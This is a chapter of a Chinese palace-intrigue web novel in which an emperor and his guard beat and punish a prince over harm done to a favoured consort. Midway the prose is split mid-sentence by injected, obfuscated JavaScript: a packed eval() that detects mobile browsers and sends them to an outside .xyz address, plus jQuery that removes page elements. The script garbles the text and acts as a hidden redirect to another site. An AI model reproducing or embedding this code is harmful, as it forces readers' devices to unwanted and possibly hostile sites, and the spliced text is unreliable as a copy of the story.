皇帝刚走，百官就开始窃窃私语起来。
有的扼首顿足：分明是明君之相，眼看着快被一个妃子耽误成了周幽王，苍天无眼啊。
有的自我反省：陛下向来圣裁如鉴、刑赏有章，不过是宠着一名女子罢了，眼瞧着也打算没给高氏兄长高官要职，反倒是把人家平康侯原本的左相之权分走了不少。哎，他们对陛下似乎刻薄了些。
“他们都这般……口无遮拦？”齐王明熙朗多年驻守边疆，鲜少参与朝会，难以置信文武百官竟在殿内就开始议论起天子。
谢知言笑道：“无妨无妨，陛下爱听。”
明熙朗愣愣地点头。先帝那会儿，还不给割了舌头。
夜色沉沉，晚膳已毕，明吟渊独自立于寝房门前，驻足良久终于推开了房门。
床榻之上，她仍沉睡，面容苍白，却依旧安详。火墙炭火添得极足，屋内温暖如春，可当他握住她的手时，仍感到冰凉。
侍奉在侧的端木低声禀报：“晚膳前又发了心痛之症，难过了片刻，才昏沉睡去。”
明吟渊眉头微蹙，掌心将她的手紧紧包裹，声音低沉：“你说她心脉瘀阻，心痛之症因情志所伤所致，可何时能痊愈？”
端木沉默片刻，仍是那句老话：“心脉瘀阻多因情志内伤，惊惧而诱发……心病难有痊愈之说。贵妃如不能宽心，日后这心痛症便难以断根。”
明吟渊又将她的手在掌心暖了会儿才轻轻放回被中，转身走出寝房，直奔御书房。
随后他传了姜姚：“把萧克己叫来，陪朕走一趟。”
姜姚惊讶，叫那家伙？！
※
深夜，明鹤皋一个人悄悄摸回了王府。
他今日夜访文乡伯，未带一人，谈话也选在一处偏僻茶斋，本以为神不知鬼不觉。可自入城以来，他总觉得身后似有目光紧紧跟随，进了王府，这种感觉竟愈发强烈。
开门的不是看门小厮，竟是郡王府管事马豫。
明鹤皋略感诧异，低声道：“府上有事？”
马豫眼神闪躲，只道：“天寒地冻，爷快些去屋里暖暖腿脚，热水已备好。”
“是有些冷。”这是心腹之人，明鹤皋不疑有他，拍了拍身上的雪随他走进了自己的清晏轩。
马豫将主人领到正厅，推开门后便弓着身疾步逃开，明鹤皋正要骂他，一回头膝盖就差点软了下去。
本该在长明宫安寝的天子，此刻竟斜倚在坐榻之上，宛如一尊冷峻的神像。
烛火在青铜灯盏中不安跃动，映得他身上的墨绿织金袍泛起暗河一般的光泽，黛绿玉带将乌发半束起，发尾如黑瀑垂在扶手外，随着他翻书的动作轻轻晃动。这一袭狩猎装束被他穿得竟如九五之尊的龙袍，威仪森然，令人不敢直视。
“回来了？”皇帝指尖轻叩书脊，慵懒地转了转脖颈。这一动领口赤金线绣的夔龙纹在光影间忽隐忽现，一如蛰伏在平静下的利爪。
明鹤皋只觉脊背发凉，腿如灌铅一般，试了两次才迈进门槛，跪地后伏下僵硬的身体低声道：“参见陛下。”
皇帝未答，只是继续翻着手中的书册。可那书页每一次翻动的轻响都让明鹤皋心头一震。
皇帝终于抬眼，未戴冠冕的面容比平日更显凌厉：“这么晚，去哪儿了？”
明鹤皋浑身一震，声音发颤：“臣……不知陛下驾临。年节将至，出府采买些许年货。”
皇帝将目光重新投到书册上，指尖再次叩响书页时，门扉被猛然合上的巨响同时传来。
明鹤皋转回头，瞥见那站在角落处的身影，瞳孔猛地收紧。只见萧克己立于暗影之中，目光冷酷。
见那双黑靴一步步走向自己，明鹤皋转向天子，眼中满是祈求：“六哥……”
上座的人充耳不闻。
黑靴在五尺之外停下，明鹤皋还来不及哀求，左膝一记剧痛后整个人就从地上被橇了起来，腾空的身体双脚还未落地，一股穿透胸膛的力道便将他拍在了身后的座椅上。
萧克己收回右掌转了转手腕，见那张座椅的两根腿晃了两下才落地摆正，失望地摇了摇头。
皇帝又翻了页书，略带嘲笑地说：“还得练。”
萧克己气得很，背过身去不再理会皇帝。
“六哥饶了我……”明鹤皋瘫在椅上，胸口剧痛，几欲呕吐。
明吟渊放下书，将垂在胸前的一缕发往后拨去，语气平静：“很痛？”
明鹤皋咬紧牙关不让翻涌的血腥味涌上来，却在抽了口大气后哀嚎一声，整个人从椅上滑落，跪扑在地。
明吟渊道：“贵妃她……也很痛。”
明鹤皋蜷缩在地，扬长脖子痛苦地瞪着上座的人。皇帝冰冷的目光穿透摇曳烛火，将满室沉香都凝成了铁锈味的压迫，将他碾压得吸不进一口气。
明鹤皋仰起头，眼中满是痛苦与不甘：“陛下以为……那日之事，是臣蓄意为之？”
他嗤笑一声，牵动伤处，又是一阵剧痛：“六哥，臣又非神仙能掐会算，怎知贵妃会去关山苑？她若不去，会有这茬事？”
明吟渊垂眸，语气极轻：“是吗？”
明鹤皋停下了叫嚣，是他蠢了。这位天子，心如铁石，任何辩解都无济于事。
明鹤皋当真无辜吗？三个蠢货干的事，的确与他无关，但他并非无辜。
那日青竹身穿贵妃的斗篷回到王府，谁都该懂意味着什么。贺芷若已逝，无人庇护，觊觎青竹的人已在府中蠢蠢欲动，更有人伺机行不轨之事，这些他都知道。可他就是不将高氏放在眼里，即便他知道那些人早就盯着青竹，他也任之纵之，只想看看高氏与人争夺爱宠的笑话。
可他没有想到，那愚不可及的女人竟能闹到这般田地！
“是她自己蠢……”心里的腹诽冲口而出，他猛然咬住下唇，已然迟了。
闻言，皇帝半阖的眼皮下迸射出一线寒光，眼尾的细纹如刀刻般绷紧。
明鹤皋颤声问道：“陛下要……要赐死臣？”
皇帝没有回答，只是看向一旁的萧克己。
萧克己赶紧瞅了眼圈在地上的废物。脸色灰白，嘴唇发绀，肺脏显然是伤了的，但他还能喘气儿，说明没有胸内没有大出血，嗯，说不好。
他心虚地说：“应当死不了……”他的摧心掌打在猫猫狗狗身上也会不同，各人体质有差，是死是伤，又什么时候死，他不是阎王哪算得了那么准。
明吟渊给了他一记冷眼，又转向地上的人：“两年前是你求娶贺芷若，朕允了，也让你袭了爵，你便是这么报答朕的？”
“妇人生子，生死有命，陛下也要归罪于臣？”明鹤皋咬牙怒吼。
明吟渊抄起书册狠砸过去，将他那高抬的头颅砸了下去，“当年是你说倾心于她，如今竟说是生死有命？”
明鹤皋被砸得泪水鼻水一起涌出，他用力抹了把脸，翻躺在地压住心口，哼声笑道：“她长我四岁，能有多倾心……能有多……”
泪水流到了嘴角，咸苦的味道压下了他的笑：“我曾是敬爱她的。银鞍照白马，飒沓如流星，世上再无第二个贺芷若，我……曾是心爱她的。可她心中没有我，非但没有，心底里视我如尘芥。我以为她生性冷情，对谁都那般冷淡寡欲，但不是。”
他倒仰着瞪着上座的天子，咳出了一抹血丝：“六哥，她看你的眼神，不是的……”
明吟渊蹙起了眉。
“她在你面前总是男儿一般粗蛮，那是她故作的姿态，她只是不敢，不仅是钦天监的断言，还因你眼中从来只有高家的女儿，哈……哈……”明鹤皋笑了起来，口中溢出了血也止不住他的笑声，“高氏对你又何尝不是？六哥，你与我有何不同？”
“话太多了。”萧克己听不下去，准备上去拧了他的脖子，却被皇帝挥手劝退。
明吟渊道：“说下去。”
明鹤皋望着天花板上的青蓝雕花，神情已有恍惚，“再爱的女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053439|176669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子不也要生子，三个大夫都说是个男胎，她是我的正妃，不该为我诞下嫡子？有朝一日，六哥你抬举了高氏为后，她若生产，太医说那是个皇子，是你的嫡子，或许还是日后的太子，六哥你如何选？会与我不同吗？会吗？”
明吟渊默然。
明鹤皋面露讥笑：“己欲立而立人，己欲达而达人，陛下凭什么问我的罪？”
明吟渊并不答腔，长吁了一口气后说道：“朕顾及皇叔颜面，王妃之死暂且饶你，你竟视朕躬如无物，贵妃你也敢动心思，莫非袭了爵壮了你的胆？”
明鹤皋猛地翻过身，脸面贴地，声音哽咽：“陛下这是要……夺爵？”说出这两个字时，他眼前黑了一瞬。他将郡王爵位看得比命还重，与其如此不如赐死他。
明吟渊指向门外：“蔺续就在外候着，朕传他？”
听到蔺太医的名字，明鹤皋眼中闪过一丝希望。
明吟渊又道：“传蔺续进来，明日便是你削爵之时。安心，你无功绩，皇叔康王又去的蹊跷，一张黄旨不难拟。”
明鹤皋如遭雷劈。
明吟渊又道：“不传蔺续，你在此熬过三日，朕赐你王爵，亲王难以服众，给你一个嗣王朕还做得了主。”
大昭王爵也分二等，亲王一等，嗣王次之。皇嗣降等袭爵，明鹤皋的父王虽是亲王，可他只是过继给嫡母的侧妃之子，又未曾建功立业，因而只袭了个郡王爵。倘若他是嫡母亲子，只要皇帝许他些政绩，该当是嗣王。
明鹤皋撑起半身，高抬起头怔怔地看着那天子。
犹记得他登基那时，文臣武将伏阙称颂，盛赞年轻的天子德泽披四海，仁心育万方，必成青史独标之仁君。哈哈哈哈……仁君！他们看过明吟渊的真面目吗？
“蔺续，传，还是不传？”明吟渊温声问道，如同在问一件再寻常不过的小事。
明鹤皋的嘴张了阖、阖了张，嘴角颤抖得不成样子。耳边似有‘啪’一声响过后，他一口咬下嘴唇，弓着脊背伏跪在地，脑门重重磕了三下，“臣无碍，谢主隆恩。”
明吟渊颔首：“康乐王，平身。”
杀人不过头点地，但皇帝喜欢断人脊梁骨。
大门在滞涩的吱呀声中合上，将康乐王封在了里面。
萧克己向暗处的人低声吩咐几句，随后为皇帝披上披风
皇帝一边拉拢披风一边在前大步流星，小短腿的蔺续在后面追得很是辛苦。
“陛下，就此不管，恐怕……郡王恐怕日后寿数不长。”蔺续说得含蓄，他想说恐怕活不了几年。且不谈能活几年，肺腑具伤，在这样的寒冻天苦熬三日，生不如死啊。
皇帝未停下脚步，只道：“七八年总是要有的。”
一片雪落进脖子，冰得蔺续一抖。陛下并非不知，或许说这就是陛下要的结果。
萧克己想了想，乐王妃留下的世子年满八岁才可袭爵。
蔺续哈着一口白雾，结巴道：“下官尽力……尽力而为。”
萧克己拍了拍他的肩：“光尽力可不行。”
两人辞别，皇帝在风雪中脚步未停，君臣二人在飞雪中还闲聊起来了。
明吟渊问道：“萧卿，你教授朕的那套掌法，莫非有所隐藏？”
萧克己哪里说理去。天下略有小成的外功内法无一不是童子功，皇帝陛下半路出家难道还想与他比肩？
“卑职不敢，陛下何出此言？”
明吟渊停下脚步，冷冷地看着他。
萧克己这位天子表兄也是有脾气的：“陛下推贵妃的那掌，便能看出卑职并无所藏。”
皇帝也不可能没有脾气：“卯时之前朕要一张新鲜的狐皮，办不到，长明宫此后一月的恭桶都给你。”
地上溅起一阵雪雾，萧大人的身影已不见了。
明吟渊拍拍肩头的碎雪，最后看了一眼那紧闭的门，随即淹没在雪夜中。
康乐王你说的没错，朕与你……并无不同。